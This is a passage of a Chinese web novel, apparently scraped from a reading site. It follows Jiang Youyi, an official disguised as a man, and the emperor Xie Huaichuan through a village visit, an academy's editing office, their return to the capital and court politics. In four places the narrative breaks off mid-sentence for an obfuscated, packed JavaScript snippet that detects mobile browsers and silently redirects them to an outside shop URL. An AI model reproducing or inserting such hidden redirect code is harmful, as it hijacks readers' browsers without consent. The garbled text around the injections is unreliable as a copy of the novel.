她这次回去主要目的有二,一个是祭拜原身父母,再就是去找当时在县衙后门碰到的那位老奶奶,问问她女儿的情况,看能不能帮她找回来。 江幼宜此刻觉得郡王就这么一死了之,实在有点便宜他了,他的眼睛只盯着皇位,从来不肯看一眼他的野心到底对旁人造成了多大的伤害,或许看过他也不会在意,在这些人眼里,平民不过是蝼蚁而已,还没有家里的一个摆件珍贵。 当时离开时村子里一片死寂,到处是血迹和尸体,如今再踏进这里,已是一片废墟,这个偏远的山村已经在大火中烟消云散。不过现在那些当初被山匪带走的青壮男人已经陆续回归,大家虽然贫穷,但凭借着一把子力气,也渐渐把这片废墟逐渐收拾出一点模样来,相信不多时就能恢复到原来炊烟袅袅的模样。 “你是……幼宜?”一个正扛着木头汉子从江幼宜身边经过,对出现在村口,气质与这片山村格格不入的几人多了一番打量,仔细看了半天才敢对几年不见,已经完全不敢认的江幼宜开口。 “对,我是,你是?”江幼宜看着眼前骨瘦如柴、皮肤黝黑的汉子,努力在原主的记忆里搜寻,“你是大青哥?” 汉子激动地放下木头,连连点头:“对,我是大青,你还活着,真是太好了。” 江幼宜一时百感交集,原主记忆中的江大青是村里青壮里面最人高马大的一个,为人真诚热情,下地干活也是一把好手,是十里八乡婚恋市场上最受欢迎的庄稼汉子。而眼前人活像逃难出来的,才二十出头的年纪,现在看起来像四十多的,从前挺直高壮的身板如今变得佝偻干瘦。 “大青哥,你这……”江幼宜看着这样的江大青,实在说不出话来。 江大青笑笑,无所谓地摆摆手:“那些过去了的就不提了,只要人活着就行。”他看向江幼宜身后气质不凡的男人,“幼宜,这位是?” 谢怀川上前一步揽住江幼宜的肩膀:“你好,我是幼宜的未婚夫。” 江大青冲江幼宜点点头,神情稍微有些落寞:“原来是未婚夫,看着你有个好归宿,挺好的,挺好的……”江幼宜变得比以前更耀眼了,如今他变成这副模样,早已配不上她,她合该与这样的贵公子相配。 “幼宜这次来是?” “我来祭拜爹娘。”时间过得真快,仔细一算,她居然穿来三年之久了,从刚来那日连口饭都吃不上,到如今官居六品,她居然也适应了这种没有手机电脑的生活。 江幼宜跟江大青道别,带着谢怀川往山上走去,虽然她没有跟原主爹娘相处过一天,但她既然占据了原主的身体,怎么也该替原主给爹娘上柱香。 中途经过原主家的位置,那个泥土筑墙,茅草为顶的院子也已成了一片废墟,江幼宜驻足片刻,庆幸当初走前把原主父母的尸体下葬了,不然三年后再回来,连具尸骨都无处收敛。 “这里是你的家吗,要不要我找人再修起来?” 江幼宜摇头:“不用了,走吧。”原主一家三口已经逝去,承载着美好记忆的院子不是属于她的,修了没有意义。 三年没打理过的坟,坟头草长了老高,原主的家已经成了一片废墟,也没了工具,谢怀川率先伸手拔草,没有一点架子。 两人废了好一会儿功夫才把坟收拾出来,江幼宜拿出在镇上买的水果和酒,一一摆在坟前,看着黄纸一点点燃尽,江幼宜跪在坟前叩首,她在心中默念:“擅自占了你们女儿的身体,我很抱歉,不过你们放心,我会代替你们的女儿好好活下去,我已在道观替你们许过愿,你们来世肯定会一家团圆,幸福美满。” 谢怀川也紧跟着跪下,在心中道:“爹,娘,你们放心,我会照顾好幼宜,无论贫穷富有,地位高低,此生定不负她。” 确保火星已经彻底熄灭,江幼宜起身:“走吧,我们去趟县城。” 马车停在了县衙后门,江幼宜进了那条她差点被发现的巷子,这里空无一人,经过多方打听,终于打听到那位老妇人的消息,不过遗憾的是,她已经去世了。 老妇人的丈夫是个木匠,年轻时酗酒无度,因与老妇人成亲多年无所出,终于生了一个孩子却是个女孩,男人就开始经常酒后打人,老妇人的眼睛就是这样被丈夫打成了半瞎,耳朵也聋了一只。好不容易把女儿养大,结果有一天女儿外出去送木匠做好的工具,就再也没回来,老妇人去报官,丈夫却嫌她多此一举,说一个赔钱货丢了就丢了。 再后来一个冬天,她丈夫某天喝多了酒醉倒在外面,第二天被人发现时人已经冻僵了,老妇人从此也变得疯疯癫癫,时不时来衙门报官找女儿,这一找就找了二十多年,直到过世也没能找到。 旁人都说,是老妇人的丈夫把她女儿卖掉了。 三年前那个县令已经因为卷入郡王谋反案被下狱了,如今上任的是新县令,谢怀川直接带着江幼宜进了衙门,翻出了陈年卷宗。 大大小小一堆妇女儿童丢失案,县衙这些年只做了记录,却从不去调查,谢怀川一拍桌子,怒道:“这群尸位素餐的贪官,真是让朕大开眼界。” “陛下恕罪,下官定将这些陈年旧案一一追查,给陛下和百姓一个交代。”新任县令连忙下跪。 “平身。”眼前的县令只是去岁才入官场的新科进士,他震怒的是犯错的官员,无意牵连别人,谢怀川平息一下自己的怒火,“这些案子就劳烦爱卿扫尾了,结案后务必上奏,朕要亲眼看到结果。” “下官遵命。”底下人低头领命,这可是个能在皇上面前出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614425|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的好机会,他一定得把这些案子办得漂亮些。 “真是岂有此理!”回了客栈,谢怀川仍然十分愤怒。 江幼宜一身男装,跟着进了屋子,安慰道:“我明白陛下的心情,不过各地官员都出现不同情况的渎职贪腐,上下包庇,陛下可否想过是因为对官员的选拔和考核制度有些不完善?” “说说你的想法。” “现如今官员的选拔大多通过科举,想必陛下也能看出科举选官的弊端,那就是太过单一了,科举选出来的人才与官员职位需求十分不匹配。再有就是通过举荐做官这一途径,被举荐的往往是名不副实的世家子弟,具有真才实学的寒门子弟想要做官就只要科举这一条路,而这条路还存在世家垄断,两条路都被把控在世家手里,所以朝堂上才会出现寒门式微的情况。” “那依幼宜之见,该如何改善呢?” “陛下其实已经想到了不是吗?大力推行科举参考书只是其一,最重要的是改变科举取士的模式,从单一变成多样化,尤其像工部这种需要技术型人才的部门,应该岗位专招。” “那考核制度呢?幼宜有何高见?” “现在的考核制度太主观了,只看上级评价,这样很容易造成下属贿赂上级,不如针对不同官职设置不同的考核指标,年终看指标的达成情况,用客观的指标来评判官员的政绩,另设巡察组,每年随机抽检,以防有人作假。” “不错,不过改革科举之事不能操之过急,这考核制度却是能趁着造反贪腐一事变上一变,回京之后我会安排你进吏部,把这考核制度改革一番。” “多谢陛下。”她这个考核制度一定会得罪许多人,不过她不怕!只要她想实现她的目标,无论怎样都会得罪那些人,只有尽早把蛀虫踢出朝堂,才能更快实现。 回京前的最后一站是稷下书院,江幼宜之前答应过小宝,会回去看他。 江幼宜一行人赶到稷下书院的时候,小宝和狗蛋正在读书,不过狗蛋现在不叫狗蛋了,李太傅给狗蛋起了大名,叫李识璧,李识璧虽然比小宝大好几岁,但他从来没读过书,因此现在都跟小宝一起在蒙班读书。 她站在窗外远远看着,屋子里小宝坐在最前排,读得十分认真,狗蛋个子高,坐在最后面,也在全神贯注地听夫子讲学。 李明章站在一旁解释道:“须谦很聪慧,又有些基础,原本可以到另一个童生班学习的,不过他想跟识璧一起,我看他实在年幼,就做主让他先待在这个班了。” 郑须谦是小宝的名字,郑夫人给取的,希望他被娇宠着长大,也要时刻谨记做人需要谦虚。 “我们去看看编辑部吧。”江幼宜开口,当时走得匆忙,很多细节都没有叮嘱到位,只留了大概的方向,上次送小宝路过也只是拿上书就走了,这次回了京城不知道什么时候才能再来了,这些参考书事关后年的科举,她还得再看看有没有什么需要完善的地方。 41. 新篇章 “幼宜,你来了,这一行还好吗?”傅文松听到外面的脚步声,从一堆书里面抬起头,看向门口来人,十分惊喜地起身迎接。 刻坊和编辑部都设置在书院内,这个小院就是编辑部,院内分成了两部分,一部分专门做科举参考书,另一部分专门编话本。 “表哥。” 傅文松看着精神了很多,不是病好了的那种精神,而是找到人生意义,且为之奋斗的那种亢奋和满足。只不过在看向她身后的时候脸色差了一些。 江幼宜知道表哥在想什么,她主动把人拉到一边解释:“我跟他已经在一起了。” “幼宜,你可想清楚了?” “嗯,我问过他了,他说以后身边也只会有我一人,我知道你担心以他的身份地位,可能很难做到一生一世一双人,但是他现在既然承诺了我,我就相信他,如果做不到,那我也可以主动结束,我想得很清楚,所以表哥你不用担心。” “既然你都想清楚了,那我也不多说什么,总之,表哥只是希望你开心最重要。” “多谢表哥,近来编辑部怎么样?” “招了几个举子秀才帮忙,不过大家的水平还够不上编撰会试参考书,会试部分的现在都是李太傅在亲力亲为。” 江幼宜点点头,这确实是个问题,李太傅虽然资历深厚,但毕竟年纪大了,还要管理书院,再兼着编书的活儿,确实不太合适,最适合的人都在翰林院和国子监,但人家官当得好好的,凭什么来这个无官无职的小编辑部啊。 江幼宜跟着傅文松进了另外几人在的小屋子,眼下县试已过,府试还未开考,这些人正忙着整理县试考题和参考答卷,等府试考试结束推出更新版的童生试参考书,当然这些试题也不只拘泥于兖州的,李太傅利用他的人脉,也要来了其他州府的。 她一一翻看,童生试毕竟是科举第一关,这些人早就通关,自然是没什么问题,秀才和举人层次的模拟题也在按照她说过思路在更新,除了缺少能熟练编会试题目的人,其他都没什么问题。 江幼宜看完科举参考书的进度,又去了赵熹的屋子,他正埋头奋笔疾书,她悄悄凑过去,赵熹正在写新话本,是一个边关军户和织娘的故事,字里行间十分香艳,赵熹写得也很投入,投入到江幼宜站在他旁边看他把一整话都写完了还没发现。 江幼宜看着赵熹把最后一页稿子写完,稿纸放在一边晾干,把笔放下才发现身边多了个人。 他往椅子一侧歪了一下,拍拍胸脯:“哎呦,文松,吓死我了,你什么时候过来的,怎么今天神出鬼没的?” 江幼宜穿的男装,赵熹一下没认出来:“再看看我是谁?” “原来是江姑娘,我就说文松没那么恶趣味。” “话本这块怎么样?” “稿子倒是收了不少,不过来这里写稿的话本先生没几个,稿子倒是质量不错,在书铺里卖的很好。” 江幼宜了然地点点头,赵熹在这里写稿和其他人给的钱是不一样的,毕竟他本身就有一定名气,还要管着话本审稿,那些没名声的写书人,与其拿着微薄的薪酬和不确定的分成,不如选择直接把稿子卖给书铺,还能多拿点钱,时间也自由。 话本这边只要保证能盈利就行,旁的倒也不用江幼宜多管。 关于盈利这块她又给赵熹支了不少招,比如话本里添上插画,可以跟参考书一样做成平装版和精装版的,也可以约画师直接把话本画出来,做成画多字少的画本,市面上时兴的话本主角可以画大幅画放在书铺外面揽客,做一些书里人物的周边放在书铺里一并销售等等。 不要小看这些周边,说不定利润比单卖话本还多。 “幼宜姐姐!” 江幼宜听到身后传来稚嫩的童声,转身看去,是小宝,小宝脸上带着惊喜的笑容,比她走前活泼开朗了很多,她张开双臂蹲下身,小宝跑着扑到江幼宜怀里。 “小宝。”她把人搂在怀里抱起来,“今天的课业结束了吗?” “嗯,夫子留的课业小宝也完成了。” “小宝真棒。” 小宝抱着江幼宜的脖子,害羞地把脸埋在她肩膀上,轻轻蹭了蹭:“幼宜姐姐,小宝长大了,小宝可以自己走,把我放下来吧。” 话虽是那么说的,但手还紧紧抓着江幼宜肩膀的衣服。 江幼宜故意抱着小宝颠了一下,小宝的手搂地更紧:“就不放,小宝在姐姐眼里永远是小朋友。” 她抱着小宝出了编辑部的院子,来到自己暂住的小院,进了堂屋,坐在椅子上,把小宝放在她腿上坐着,认真问道:“小宝,姐姐就要回京城了,小宝想跟我一起去吗?” 小宝虽小,但他也有自己的想法,尽管京中的资源更多更好,江幼宜还是想尊重小宝的意愿,她看得出来,小宝在这里过得很好。 小宝抬头,看向江幼宜:“幼宜姐姐,你才刚来,又要走了吗?” “是啊,姐姐还要事要做,所以小宝要跟我一起走吗?” 意外又不意外的,小宝摇摇头:“幼宜姐姐,小宝想留在这里,学着成为爹爹那样的人。” 小宝从来没问过他爹娘在哪儿,也没哭闹着要找爹娘,在青州被带到她和谢怀川面前时也只说要找哥哥,或许他心里早就清楚,爹娘已经不在人世。 越乖越招人心疼,江幼宜很想将人带在身边,尽力补偿他,但既然小宝有自己的想法,她也不能勉强。而且京中未定,带小宝去了京城未必就比他在这里要好。 她抚摸着小宝的额角:“好,小宝这么小就有自己的志向,姐姐很高兴,姐姐也相信,你一定会成为比你爹爹还厉害的人。” 小宝留在这里,狗蛋自然也是要待在稷下书院的。 李寒月学过画画,现在在给话本画插画,她的腿在进临东府之前并未完全好,姜太医虽然没有跟着一起进临东府,但给了李寒月一本针灸医书,在青州的时候她忙着照顾刘妈妈,没顾上自己的腿,现在在兖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622535|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州安定下来,李太傅帮忙找了靠谱的大夫,靠着姜太医那本针灸医书,她现在的腿已经基本上好了,只需要再扎几次针巩固效果就好。 临东府这边的事暂时落下帷幕,江幼宜和谢怀川就要相携回京城了。 马车缓缓驶出,江幼宜掀开帘子,从窗外探出头回望,李太傅、表哥、李寒月、赵熹、狗蛋和小宝都站在书院门口冲她挥手,她勾起一抹笑容,大家在这里生活得平静安乐,真的很好,天下人皆若此状,是她毕生的追求。 马车内另一个人不满她的注意力一直在旁人身上,将人拽了回去,江幼宜一个没坐稳,扑到谢怀川身上,不等她用手撑住坐会原位,一双大手直接将她箍住,温热的气息从眉间一路寻到唇间。 “不要关注别人多过我,我会不开心的。”酸溜溜的话从两人交缠的唇间溢出,谢怀川一边说一边啄吻着江幼宜。 “那是因为我知道你很厉害,有能力解决你所面临的问题,而她们可能会需要帮助。”江幼宜横坐在谢怀川腿上,勾着他的脖子,认真解释。 “虽然你在夸我,但这不能是你忽视我的理由。”谢怀川低头,又吻了上去,还在江幼宜唇上惩罚性地轻咬一口,又用温热的舌轻轻舔舐,“好想跟你一直抱在一起。” 谢怀川把江幼宜的姿势从横坐调整成跨坐,两人面对面相拥。 她发现拥抱真的有种很神奇的魔力,除了驱散早春的寒意,还能消除人的负面情绪,给人再艰难也能继续走下去的力量。 江幼宜埋在谢怀川肩头,轻声道:“我也是。” 以前她总是不明白,为什么有些情侣能在大庭广众之下相拥接吻,现在她明白了,只是因为爱未到浓时。 几天之后,马车进了临北府与另外两府交界的县城,曹公公一行人已经在客栈里等着了。 还没下马车,曹公公就迎上来了:“主子,您二位的客房已经开好了,在三楼,我带您上去。” 马车下,马千户和章起居郎都等在一旁,谢怀川一出来,齐声行礼,他颔首,示意他们不必多礼,转身朝马车内伸出手臂,江幼宜习惯性地搭着谢怀川的手下来,直面马车旁两人目瞪口呆的神情。 她连忙收回手,尴尬地朝两人一笑。谢怀川面色如常,拉着她的手腕将人带进客栈。 马仕涛和章时在身后对视一眼,互相看到了对方眼里的震惊。 “这是……”马仕涛看着两人背影,半天没说出下文。 章时虽未开口,但心中的震惊并不比马仕涛少,但他毕竟是在皇帝身边常年当差的人,率先反应过来:“主子的事,岂容你我置喙?” 马仕涛也被这句话点醒,是了,不管傅大人是深得陛下器重还是别的,都不是他们能在背后质疑的,他收回目光,未再说别的。 只是想到傅大人那张脸,想到陛下居然亲自扶傅大人下马车,还对傅大人万般亲近,心中在不停揣测,难道陛下这么多年后宫空置,皆是因为陛下有龙阳之好? 42. 进京 谢怀川可不知道他的属下已经从他这几个动作里脑补了一出大戏,自顾自地拉着江幼宜上了三楼。 进了房间,江幼宜拉住谢怀川,语重心长道:“阿川,马上就要进京了,我们在人前还是收敛些吧。” “为什么,你这么快就厌弃我了吗?”谢怀川顶着一双湿漉漉的狗狗眼,颇为委屈地看着江幼宜,这副模样被谁看见,也不会想到谢怀川是皇帝。 “阿川。”明知道谢怀川是故作委屈,江幼宜看到他这样还是一阵心软,她捧着谢怀川的脸,在对方额头上亲了一下,“我现在毕竟是男子装扮,万一外面人猜你有龙阳之好怎么办?” “猜呗,正好有理由拒绝那些想送人进宫的请求。”谢怀川一笑,他可不会在乎这些虚名,尤其是跟江幼宜比起来。 江幼宜无奈一笑:“誓要将不靠谱人设进行到底吗?阿川,青州案和谋反案已经解决,你在那些老狐狸那里已经暴露了,民间因为这一波官员大换血也对你有了好感,现在你要做的是继续挽回你民间的名声,让百姓知道你是个为民着想的好皇帝。” 谢怀川一把将人搂进怀里,让江幼宜靠在他胸前,用下巴在她头顶蹭蹭:“我知道,现在我要强势起来,展现我的实力,拉拢朝中中立的朝臣,把无能的世家子踢出朝中,腾出位置,才能在两年后的科举中让更多有才干的寒门学子去到他们应该去的位置上。” 他低头吻了吻江幼宜的发顶:“我是怕跟你保持距离,会让你没有安全感。” “当然不会,暂时的分离只是为了完成我们共同的理想。” “好吧,其实是我没有安全感,我时常在想,你为什么能这么理智,把感情和官途分得这么清楚,甚至为了你所谓的事业,可以把感情排在后面,我很怕哪天你会为了旁的什么,权衡之后跟我分开。” 江幼宜沉默了,这个世界上没有什么是永远不变的,尤其是感情,她没办法承诺永远不会离开对方。 “为什么沉默?”谢怀川双手捧着江幼宜的脸,看得十分专注,试图在江幼宜脸上看出这个人心里究竟在想什么。 “阿川……” “哪怕只是骗骗我都不肯吗?” “我不想骗你。” 谢怀川把人紧紧搂在怀里,叹了一口气:“我不逼你承诺,但是不要因为别人离开我好吗?我希望就算你哪天真的要离开,也是因为我们两个之间产生了不可调和的矛盾,而不是因为旁人,好吗?” 江幼宜沉默片刻,最终点了点头。 “恭迎陛下回朝。” 风尘仆仆的马车刚进城门,江幼宜就听到外面传来的声音,她掀起帘子,城门内站着大大小小的京官,这场面跟上朝也没什么区别,她仔细看去,有些朝臣的脸色并不好看,看着马车的目光晦暗不明,前排站着的首辅和次辅不愧是见过大场面的,谢怀川借口选妃出去转了一圈,替换了这么多地方官员,这两位仍然面不改色,不动如山。 顾松涛的目光正对上她的,对方看向她的眼神与恩荣宴上无甚区别,如同大象看蚂蚁,她甚至感受不到敌意,平静无波,对方根本不视她为同层次的对手。 江幼宜放下帘子,对谢怀川道:“陛下,群臣都到了。” 这是谢怀川故意让锦衣卫放出的消息,把他回京的时间透露给百姓和群臣,就是为了造势,改变皇帝在百姓心目中的形象。这是纯阳谋,群臣明知这是陛下故意的,却不得不来,因为百姓都知道的事情,大臣居然不知道,这完全说不过去,会在百姓心里埋下官员不敬皇帝的种子。 历任皇帝都很少出宫,百姓难得见皇帝一面,尤其还是一个刚刚解决了关系民生的两桩大案的傀儡皇帝,此刻道边挤满了百姓,但禁军也只是在周边维持秩序,并未阻拦百姓围观。 江幼宜虽说在科举参考书、寻回被拐卖女子、与西戎重新建立友好合作关系上立了大功,但这些功绩还不足以让她在暴露女子身份的前提下继续在朝中立足,所以此时江幼宜仍需继续以男子身份为官,她率先下了马车,候在一边,谨记自己身为起居舍人的职责。 车内谢怀川整理了一下衣袍,缓缓走下马车,负手而立,冷毅持重,与之前朝堂上那个吊儿郎当满不在乎的傀儡皇帝判若两人,之前还抱有幻想的大臣看见谢怀川这番模样,都被谢怀川此刻身上的气势压倒,赶忙垂头,收起打量的目光。 沉默中,次辅孙卓坤率先上前一步,拱手道:“陛下这次出行一举解决青州案和谋反案,这一路舟车劳顿,臣等特在此恭候。” 谢怀川轻轻颔首:“朕离京几月,京中诸事有诸位爱卿打理,朕很是放心,有劳各位爱卿了,这几个月里的大事小事,烦请各位爱卿上个折子,让朕不至于落个不理民生的骂名,也好论功行赏。” 群臣虽拱手称是,但心里可是翻江倒海,陛下这个意思,那就是大事小事他都要过目了,现在要的只是这几个月的,那之后要过目别的也是顺理成章的事儿,陛下这是铁了心想在内阁收权了啊。 “各位爱卿辛苦了,启程回宫。”说完,谢怀川回了马车上。 群臣让开主干道,让御驾通行,站位靠后的官员在后面悄咪咪打量为首的两位阁老,各有盘算。朝中势力历来如此,哪边势大哪边就自有附庸,世家更是如此,趋利避害已成本能,为了自己家族的延续,甚至能毫不犹豫地叛国,这也是为何有的世家存续的时间比王朝还要久。 在世家的心里,万事都是先紧着自家,才考虑国家。 谢怀川回宫第一件事,就是去慈宁宫请安,许是谢怀川在京都之外的事也传到了太后这里,这次太后并没有避而不见。 江幼宜跟着谢怀川一同进去,殿中高座上坐着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627486|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位姿貌淑丽的女子,她身着一身素色袍子,头发用一根木簪简单挽起,看起来不过三十岁的模样,眉眼与谢怀川十分相似,疏离冷峻,眼神从谢怀川身上扫过,在江幼宜身上停顿片刻,又移回谢怀川身上,并未开口。 谢怀川单膝跪地:“儿臣问母亲安好。” 江幼宜紧跟着在谢怀川侧后方跪地,拱手开口:“臣拜见太后。” 太后手中拨弄着一串檀木珠,淡淡道:“起来吧,素心,看茶。” 谢怀川在一旁的椅子上坐下,江幼宜照旧站在谢怀川侧后方,殿内飘着清淡的檀香味儿,除了太后拨弄檀珠的声音,一片寂静。 这对母子之间的沉默震耳欲聋,江幼宜静静等在一旁。 半晌,谢怀川放下手中的茶盏,平静道:“卜副将还活着。” 太后手中的檀木珠不再动,良久,太后才重新拨弄起檀珠,未发一言。该说什么呢,错过就是错过了,听到人还活着,就已经是最好的结果。 “儿臣告退。”谢怀川起身告辞,江幼宜紧跟着告辞。 太后轻轻颔首,一言不发。 “就这么告诉太后了吗?”走出慈宁宫,江幼宜忍不住问。 “母后有权利知道,她被困在这京中太久了,如果她想要逃离,我不会阻拦。” 卜溪风至今未成亲,显然心里还记挂着母后,而母后为了家族被迫进宫,与心上人分离,当皇后诞皇嗣,扶持他登基当太后,但她不爱父皇,这一生都在为别人而活,还没有轰轰烈烈为自己活过,这对于骄傲的母后来说未免太痛苦了,眼下既然卜溪风还活着,他自然要推一把,母后最后做什么选择他都认可,他也不怕背负什么骂名。 人这一生实在短暂,如果全都消耗在虚无的名声里,也太无趣了些,枉来人世走一遭。 江幼宜听着,心中大为震撼,倒不是震撼谢怀川支持自己母亲勇敢寻爱,这在现代社会很正常,她是震撼谢怀川的思想竟然如此超前,让她得以在封建社会找寻到一个心灵契合的另一半,或许,她们两个人的相遇是命中注定的。 “我会在明日早朝上提拔你为吏部考功清吏司郎中,专门负责官员考核,这大大小小的官员功绩可都交到你手里了,我相信现在没有谁比你更适合这个职位了。” “现在的考功清吏司郎中是孙次辅的人,这可是个能掌控官员升迁的重要位置,他能放?” “不想放也得看现在的人手上干不干净,他利用这个位置在朝中收拢了不少人心,以前我不动他,是因为要利用他平衡外祖这边的势力,现在这个平衡该打破了。” “好,我会尽快根据现在的考核规定拟一版新的出来。”既然已经决定要开刀,那就快刀斩乱麻,不给对方喘息的机会。 尤其是地方上的蛀虫,更是要尽快清理掉,百姓也该过几天好日子了。 43. 入阁 第二日早朝上谢怀川按照他回京时在城门口承诺过的那样,对在他离京这段时间做出功绩的大臣们论功行赏,同时也提拔了不少同他一起破获两案的人,江幼宜只是升任五品官,夹在中间并不显眼,只是被调动的位置太过敏感,还是引来不少次辅党侧目,尤其谢怀川还宣旨让江幼宜进内阁观政。 只是大家都很明白这是皇帝要提拔自己人的信号,谁也不敢在他决定展露锋芒的时候触他霉头,毕竟一个蛰伏这么多年,现在终于不装了的皇帝,肯定是有了不装的底气,没人敢先去试探帝王的底线,成为他儆猴第一个杀的鸡。 不过接下来一番话算是让众大臣知道了皇帝为何敢如此明目张胆提拔自己人,谢怀川把郡王谋反案中缴获的战马和兵器直接调拨给了镇北军,要知道镇北军向来中立,不参与任何党争,这些年更像是在边境划地自治了一般,现在看来,镇北军是要做保皇党了。 有了兵力雄厚的镇北军,皇帝确实就有了说话的权力,任何阴谋诡计在绝对的兵力面前都是纸老虎。 吏部作为六部之首,其重要性不言而喻,虽说顾松涛是吏部尚书,但这吏部也不是顾松涛的一言堂,否则顾松涛就真的是名副其实的权臣了。 江幼宜的加入打破了吏部的平衡,从原来的两党对立变成了三足鼎立,那些原本被排挤在两党之外的中立之人纷纷对江幼宜示好。 他们本身就是因为出身和不站队才被排挤,现在来了一个深得陛下器重,同样出身寒门的人,大家自然而然就抱起团来,都不需要江幼宜刻意拉拢。 “张侍郎安好,我是新调任的考功清吏司郎中傅文松,我需要翻阅近十年各地官员考评的卷宗,请侍郎批准。”江幼宜敲敲门,进了吏部右侍郎的房间。 “原来是傅郎中,久仰久仰,这些卷宗都是重要文件,我这边没有这个权力允准,傅郎中还是去问问旁人吧。” 江幼宜看着对方笑眯眯的表情,垂头拱手行礼:“那打扰侍郎了,在下告退。” 这已经是她找过的第三个人了,每个人都有理由把她打发走。打发她的理由也很简单,她只是一个小小五品郎中,已经封存的卷宗是机密,她只需要完成当下需要她考评的工作就可以,过往卷宗,与她无关。 但她进吏部可不只是为了考评现有官员,她还有改革考评规则,还想要从过往的卷宗中查出某些人卖官鬻爵的证据,以肃清朝堂,这些卷宗,她非看不可。 她整理了一下官服,迈步朝顾松涛所在的房间走去。 身后的张侍郎走到门外,看着江幼宜的去处,低声嗤笑:“不自量力。” “下官傅文松,拜见阁老。”江幼宜在门外出声。 “进。”声音浑厚低沉,带着岁月的沉淀和身居高位的果决。 顾松涛正站在书案前写字,江幼宜进门,他头也不抬:“何事?” 江幼宜拱手行礼:“禀阁老,在下想要翻阅过往十年各地官员考评的卷宗,请阁老批准。” 顾松涛自顾自写字,动作大开大合,直到写完,才慢条斯理地把毛笔放在一边:“来看看老夫的字写得如何?” 江幼宜上前,只见纸上写着八个大字:木秀于林,风必摧之。 “阁老书法笔力遒劲,功底深厚,造诣极高。”忽略这四个字隐藏的含义,只专注书法本身,顾松涛这几个字当得起这些称赞。 “你既看得懂书法,可能看懂老夫这几个字的意思?” “在下愚钝,只晓得‘为者常成,行者常至’的道理。” “好一个‘为者常成,行者常至’,年轻人,太过自信就是自负,而自负的人往往没有好下场。” “如果不能为自己追求的理想拼搏,活着不如死了。” 顾松涛凌厉的的双眼直视着江幼宜:“小小年纪,倒是够胆。那你可知,就连当今圣上,也要在羽翼未丰的时候暂避锋芒吗?” “阁老,我们何必要鹬蚌相争,让孙阁老得利,我知晓这些年卖官鬻爵的事情都是孙阁老一党在做,孙阁老的势力削弱了,您这边自然更加得势,何乐不为?” “究竟是我得势还是你得势,你心里清楚的很。” “阁老何必如此咄咄逼人,您是陛下的外祖,陛下得势自然是您得势。” “陛下若得势,怕是第一个被清算的就是我。” “那阁老认为,陛下更像先帝还是更像太后呢?”先帝仁善,在位时少有大开杀戒的时候,对于犯错的臣子大多也都是从轻处理,而太后虽然恨自己的父亲,也只是在朝堂上针锋相对。 提到太后,顾松涛十分沉默,不知是后悔自己年轻时不顾女儿意愿强行将人送入宫,还是不愿提及这个陛下继位后处处与他作对的女儿。 总之,半晌后,顾松涛松口了:“那些卷宗在库房里,你去看吧。” “多谢阁老。”江幼宜行礼后转身离开。 身后的顾松涛手往上微微一抬,嘴唇蠕动一下,似乎有话要说,但最终没有说出口,抬起的手落回桌子上,任由江幼宜离去。 有了顾松涛的允准,江幼宜终于得以进入库房。 次辅派之所以能在顾松涛已经是首辅的前提下势力扩张如此快,就是因为卖官鬻爵,但究竟是谁卖的谁买的,还需要进一步调查,卷宗里也不会直接写明哪些官职是被买卖的,只能从平时记录的功绩和调任记录中找出蛛丝马迹,再让锦衣卫专门去调查。 看完十年卷宗,并且还要从中找出不合理之处,这绝非一朝一夕能完成的,她从近年的往前看,越近的越好调查,并且买官的人根还扎得不深,更好处理。 江幼宜把几个颇具嫌疑的人选信息抄录下来,等下值回家后拿给谢怀川。 没错,就是下值回家后。回京后,因不方便与江幼宜见面,谢怀川几次提过要来找她,考虑到跟李云承合租不方便,江幼宜拿出从书铺拿到的分红和谢怀川论功行赏给的赏赐,在离皇城不远不近的地方买了一座宅子。 谢怀川有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632288|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提过从自己的私库中拿钱,让江幼宜买距离皇宫最近的宅子,或者他干脆以论功行赏的理由赐给她一座,都被江幼宜拒绝了。 她一个寒门出身的五品官,若轻易买上皇城根的宅子,可就要遭人怀疑了。再者,谢怀川若单单给她赐宅子,也太过招摇。 